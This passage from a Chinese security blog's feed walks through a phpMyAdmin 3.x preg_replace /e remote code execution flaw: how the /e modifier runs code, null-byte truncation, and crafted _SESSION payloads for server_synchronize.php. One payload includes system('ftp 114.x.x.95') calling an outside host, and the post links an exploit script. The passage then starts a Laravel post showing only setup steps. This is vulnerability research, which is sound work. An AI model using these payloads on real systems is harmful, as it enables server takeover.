&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;s&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_DOTALL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_EXTENDED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* PCRE specific options */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_ANCHORED&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;D&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_DOLLAR_ENDONLY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;S&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;do_study&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;U&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_UNGREEDY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;X&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_EXTRA&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;u&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_UTF8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* In  PCRE,  by  default, \d, \D, \s, \S, \w, and \W recognize only ASCII&lt;/span&gt;
&lt;span class="cm"&gt;       characters, even in UTF-8 mode. However, this can be changed by setting&lt;/span&gt;
&lt;span class="cm"&gt;       the PCRE_UCP option. */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cp"&gt;#ifdef PCRE_UCP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;coptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PCRE_UCP&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cp"&gt;#endif  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="cm"&gt;/* Custom preg options */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;poptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PREG_REPLACE_EVAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;case&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;php_error_docref&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TSRMLS_CC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;E_WARNING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Unknown modifier &amp;#39;%c&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;efree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;参考php官方手册对&lt;a href="https://www.php.net/manual/en/function.preg-replace.php"&gt;preg_replace函数的解释&lt;/a&gt;，从php 5.5.0开始，/e修饰符已经不被推荐，到了php 7.0.0，该函数已经被彻底移除，被&lt;code&gt;preg_replace_callback()&lt;/code&gt;函数代替&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;php 5.3.6&lt;/code&gt;以及之前的版本中，&lt;strong&gt;/e修饰符将会指示&lt;code&gt;preg_replace_callback&lt;/code&gt;将第二个参数作为php代码去执行&lt;/strong&gt;，参考下面的例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$pattern&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/e&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$replacement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$subject&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;omglolomglolnostop&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$replacement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$subject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1599104545907" src="https://s2.loli.net/2024/06/14/1yJ42MoFDU8RIQB.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这个运行机制就是每匹配到一个模式就会执行一次第二个参数中的代码，还有就是不管你模式字符串怎么写，只要匹配到，都会至少执行两次，未匹配到则不执行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们可以参考&lt;a href="http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html"&gt;Haxxor&lt;/a&gt;给出的示例：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$pattern&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/omfglol&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mypattern&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/i&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$replacement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;replacement&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$subject&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;omglolomglolnostop&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;preg_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$pattern&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$replacement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$subject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;先写一个正则表达式，该正则表达式需要保证一定能匹配到待匹配的字符串，对于例子中的情况（存在拼接）我们可以使用&lt;code&gt;|.*&lt;/code&gt;，来保证能够匹配到并减少命令执行的次数，然后再用空字节截断使&lt;code&gt;preg_replace&lt;/code&gt;函数忽略后面的&lt;code&gt;/i&lt;/code&gt;修饰符从而使代码能够正常运行而不报错，然后跟上要执行的命令即可&lt;/p&gt;
&lt;p&gt;&lt;img alt="1599384250920" src="https://s2.loli.net/2024/06/14/q6OREeBp54dSDKv.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本文的测试环境使用的是phpstudy，从测试结果来看，&lt;code&gt;preg_replace&lt;/code&gt;在php 5.4之后就已经不存在了&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;漏洞利用分析&lt;/h2&gt;
&lt;p&gt;漏洞的触发点是&lt;code&gt;/server_synchronize.php&lt;/code&gt;，还是和上面的利用过程相同，先获取token和cookie，这不过这里有所不同，就是cookie是认证通过后的cookie，相比之前的cookie会多一些字段：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200908005605483" src="https://s2.loli.net/2024/06/14/MotiwWxlnDGdL4S.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再利用已经获取的token和cookie去构造&lt;code&gt;$_SESSION&lt;/code&gt;变量，其中&lt;code&gt;$_SESSION&lt;/code&gt;变量有两个键需要进行覆盖&lt;/p&gt;
&lt;p&gt;&lt;code&gt;_SESSION[trg_db]&lt;/code&gt;和&lt;code&gt;_SESSION[uncommon_tables]&lt;/code&gt;，这两个变量的payload构造如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;_SESSION[trg_db]=\`?phpinfo():&amp;#39;.$asdgajskdgas.&amp;#39;;/**&lt;/span&gt;

&lt;span class="x"&gt;_SESSION[uncommon_tables][0]=|/e%00&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;备注：第一次调试的时候，上面的payload的确是好使的，但是后来发现这样写会遇到下面的问题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;/server_synchronize.php&lt;/code&gt;的第504至513，会有一个判断：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;foreach ($cons as $con) {&lt;/span&gt;
&lt;span class="x"&gt;    if (${&amp;quot;{$con}_type&amp;quot;} != &amp;quot;cur&amp;quot;) {&lt;/span&gt;
&lt;span class="x"&gt;        ${&amp;quot;{$con}_link&amp;quot;} = PMA_DBI_connect(${&amp;quot;{$con}_username&amp;quot;}, ${&amp;quot;{$con}_password&amp;quot;}, $is_controluser = false, ${&amp;quot;{$con}_server&amp;quot;});&lt;/span&gt;
&lt;span class="x"&gt;    } else {&lt;/span&gt;
&lt;span class="x"&gt;        ${&amp;quot;{$con}_link&amp;quot;} = null;&lt;/span&gt;
&lt;span class="x"&gt;        // working on current server, so initialize this for tracking&lt;/span&gt;
&lt;span class="x"&gt;        // (does not work if user defined current server as a remote one)&lt;/span&gt;
&lt;span class="x"&gt;        $GLOBALS[&amp;#39;db&amp;#39;] = ${&amp;quot;{$con}_db&amp;quot;};&lt;/span&gt;
&lt;span class="x"&gt;    }&lt;/span&gt;
&lt;span class="x"&gt;} // end foreach ($cons as $con)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果原始连接（&lt;code&gt;src_type&lt;/code&gt;）目标连接（&lt;code&gt;trg_type&lt;/code&gt;）的类型值不为&lt;code&gt;cur&lt;/code&gt;，则代码会在这里终止，没办法往后走，因此在构造payload的时候需要另外加上&lt;code&gt;_SESSION[src_type]=cur&amp;amp;_SESSION[trg_type]=cur&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中&lt;code&gt;$asdgajskdgas&lt;/code&gt;是使用&lt;code&gt;urlencode&lt;/code&gt;函数处理过的php代码，因为使用了问号冒号表达式，因此最后形成的payload中&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;`\``
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;将恒为假（php中的`有执行命令的意思，只有命令执行成功了才会返回true），因此这里的phpinfo()随便写一个合法的php语句即可，反正也不会被执行&lt;/p&gt;
&lt;p&gt;完成$_SESSION变量的覆盖之后，我们需要使用前面获取的token和cookie对&lt;code&gt;http://localhost/pma3.x/server_synchronize.php&lt;/code&gt;发起第二次请求，在发起请求的同时将&lt;code&gt;XDEBUG_SESSION_START&lt;/code&gt;参数也带上，以进行调试&lt;/p&gt;
&lt;p&gt;我们首先在&lt;code&gt;/server_synchronize.php&lt;/code&gt;的第&lt;code&gt;504&lt;/code&gt;行下断点，然后运行exp脚本开始调试&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200908015849141" src="https://s2.loli.net/2024/06/14/v9rGmgSq7QwoaHz.png"&gt;&lt;/p&gt;
&lt;p&gt;这里&lt;code&gt;$_REQUEST[0]&lt;/code&gt;必须有值，我们才能进入for循环和下面的if语句，其次，&lt;code&gt;$table_id[1]&lt;/code&gt;也不能为空，否则&lt;code&gt;$uncommon_table_structure_diff&lt;/code&gt;数组将会是空的&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200908020100886" src="https://s2.loli.net/2024/06/14/Hlx4VTSarUIL5Qq.png"&gt;&lt;/p&gt;
&lt;p&gt;如果&lt;code&gt;$uncommon_table_structure_diff&lt;/code&gt;数组是空的，那么我们将无法进入&lt;code&gt;PMA_createTargetTables&lt;/code&gt;函数，也就无法触发RCE，因此我们在传入的参数中要加上&lt;code&gt;0=123US0&lt;/code&gt;，这个参数中&lt;code&gt;US&lt;/code&gt;后面的数字最后会影响到&lt;code&gt;$uncommon_table_structure_diff[$s]&lt;/code&gt;，在第一次循环中$s为0，也就是&lt;code&gt;$uncommon_table_structure_diff&lt;/code&gt;数组的第一个值，这个值将会成为&lt;code&gt;$uncommon_tables&lt;/code&gt;变量的索引，在上面构造payload的时候我们只写了&lt;code&gt;_SESSION[uncommon_tables][0]=|/e%00&lt;/code&gt;，因此我们也要把&lt;code&gt;US&lt;/code&gt;之后的数字设置为&lt;code&gt;0&lt;/code&gt;以保证exp的正确运行&lt;/p&gt;
&lt;p&gt;我们跟入&lt;code&gt;PMA_createTargetTables&lt;/code&gt;函数来看一看我们的payload最后变成了什么样子：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200908021522608" src="https://s2.loli.net/2024/06/14/F7fs1h25ro6ROVn.png"&gt;&lt;/p&gt;
&lt;p&gt;这里&lt;code&gt;%00&lt;/code&gt;无法显示，不过已经插进去了&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$a1 = &amp;quot;/`|/e&amp;quot;
$a1 = &amp;quot;`\``?phpinfo():system(&amp;quot;ftp 114.x.x.95&amp;quot;);/**`.`|/e&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;可以看到我们构造的payload正好将用于转义我们的`使用\给转义了&lt;/p&gt;
&lt;p&gt;进而消除了&lt;code&gt;PMA_backquote&lt;/code&gt;函数带来的负面影响&lt;/p&gt;
&lt;p&gt;我们可以看到vps已经收到了数据包：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20200908022017852" src="https://s2.loli.net/2024/06/14/bBvzN7isVtaWDrG.png"&gt;&lt;/p&gt;
&lt;p&gt;至此，命令执行完毕&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对之前的payload进行更改，并完善了exp脚本之后，最终的效果如下：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1599544103285" src="https://s2.loli.net/2024/06/14/lmQYLZbwOc6nV38.png"&gt;&lt;/p&gt;
&lt;p&gt;exp接收四个参数，依次为pma_url、username、password、cmd&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;在阅读作者的文章时，十分震撼，别人只是在relax的时候读了读pma的源码，就审出了好几个CVE，着实是太强了，另外在审计的过程中也学习到了session和cookie的关系和工作机制，对php的了解也更深入了一些&lt;/p&gt;
&lt;p&gt;第三个漏洞导致的RCE的exp脚本，是受到&lt;a href="http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html"&gt;Haxxor&lt;/a&gt;的博文下面的评论的提示并基于&lt;a href="https://www.exploit-db.com/exploits/17514"&gt;https://www.exploit-db.com/exploits/17514&lt;/a&gt;编写出来的，其实根据上面的分析也基本上可以写出来利用脚本了，不过&lt;strong&gt;有需要的同学可以在公众号后台留言获取&lt;a href="https://gitee.com/wochinijiamile/import/raw/master/111222.php"&gt;exp脚本&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>laravel漏洞详解</title><link href="laravellou-dong-xiang-jie.html" rel="alternate"></link><published>2020-07-31T00:00:00+02:00</published><updated>2020-07-31T00:00:00+02:00</updated><author><name>12138</name></author><id>tag:None,2020-07-31:laravellou-dong-xiang-jie.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ"&gt;https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;环境搭建&lt;/h1&gt;
&lt;p&gt;使用composer安装laravel，注意在安装composer时选择php可执行文件时尽量选择高版本php，因为低版本可能不支持laravel 5.6版本&lt;/p&gt;
&lt;p&gt;配置国内源：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;composer config -g repo.packagist composer …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ"&gt;https://mp.weixin.qq.com/s/CcZF2cwd8yfT38awthrnNQ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;环境搭建&lt;/h1&gt;
&lt;p&gt;使用composer安装laravel，注意在安装composer时选择php可执行文件时尽量选择高版本php，因为低版本可能不支持laravel 5.6版本&lt;/p&gt;
&lt;p&gt;配置国内源：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;在apache的网站根目录创建一个laravel文件夹，在该目录下执行&lt;code&gt;composer create-project laravel/laravel=5.6.*&lt;/code&gt;即可启动安装&lt;/p&gt;
&lt;p&gt;&lt;img alt="1596305503175" src="https://s2.loli.net/2024/06/14/YoRkIgC5KP8VfA9.png"&gt;&lt;/p&gt;
&lt;p&gt;laravle安装完成后我们需要&lt;a href="https://wochinijiamile.blog.csdn.net/article/details/106789753"&gt;配置一下虚拟主机&lt;/a&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;VirtualHost&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;*:80&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;ServerName&lt;span class="w"&gt; &lt;/span&gt;laravelht.vn
&lt;span class="w"&gt;     &lt;/span&gt;DocumentRoot&lt;span class="w"&gt;  &lt;/span&gt;C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public
&lt;span class="w"&gt;     &lt;/span&gt;SetEnv&lt;span class="w"&gt; &lt;/span&gt;APPLICATION_ENV&lt;span class="w"&gt; &lt;/span&gt;&amp;quot;development&amp;quot;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;Directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;C:/phpStudy/PHPTutorial/WWW/laravel/laravel/public&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;DirectoryIndex&lt;span class="w"&gt; &lt;/span&gt;index.php
&lt;span class="w"&gt;         &lt;/span&gt;AllowOverride&lt;span class="w"&gt; &lt;/span&gt;All
&lt;span class="w"&gt;         &lt;/span&gt;Require&lt;span class="w"&gt; &lt;/span&gt;all&lt;span class="w"&gt; &lt;/span&gt;granted
&lt;span class="w"&gt;         &lt;/span&gt;Order&lt;span class="w"&gt; &lt;/span&gt;allow,deny
&lt;span class="w"&gt;         &lt;/span&gt;Allow&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;all
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Directory&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;注意上面的虚拟主机配置文件的根目录是&lt;code&gt;laravel/public&lt;/code&gt;，这样可以避免laravel框架的其他文件暴露在网络中&lt;/p&gt;
&lt;p&gt;&lt;img alt="1596168131865" src="https://s2.loli.net/2024/06/14/piJ1QGAhY6qbc7C.png"&gt;&lt;/p&gt;
&lt;p&gt;至此，环境搭建完毕&lt;/p&gt;
&lt;h1&gt;了解laravel&lt;/h1&gt;
